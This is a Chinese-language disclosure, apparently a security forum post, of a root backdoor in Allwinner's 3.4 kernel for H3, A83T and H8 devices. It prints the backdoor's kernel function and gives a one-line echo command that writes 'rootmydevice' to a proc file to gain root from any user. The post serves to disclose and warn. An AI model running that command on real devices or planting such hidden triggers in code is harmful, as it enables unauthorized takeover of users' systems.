全志科技3.4内核下的H3,A83T,H8 设备存在后门
一、详细说明:
近日,全志(allwinners)厂商自己在github上报了一条信息,说在3.4内核下的代码存在后门。后门影响3.4内核下的H3, A83T,H8 设备。随后改说明被删除。
在这里能够看到之前的代码:
static int sunxi_proc_su_write(struct file *file, const char __user *buffer,
unsigned long count, void *data)
{
char *buf;
struct cred *cred;
if (count < 1)
return -EINVAL;
buf = kmalloc(count, GFP_KERNEL);
if (!buf)
return -ENOMEM;
if (copy_from_user(buf, buffer, count)) {
kfree(buf);
return -EFAULT;
}
if(!strncmp("rootmydevice",(char*)buf,12)){
cred = (struct cred *)__task_cred(current);
cred->uid = 0;
cred->gid = 0;
cred->suid = 0;
cred->euid = 0;
cred->euid = 0;
cred->egid = 0;
cred->fsuid = 0;
cred->fsgid = 0;
printk("now you are root\n");
}
kfree(buf);
return count;
}
二、问题证明:
从任意一个用户id的任意进程,往/proc/sunxi_debug/sunxi_debug文件写入rootmydevice字符串将会变成root权限。不排除远程利用的可能性。
echo "rootmydevice" > /proc/sunxi_debug/sunxi_debug
参考:
http://www.theregister.co.uk/2016/05/09/allwinners_allloser_custom_kernel_has_a_nasty_root_backdoor/
最新评论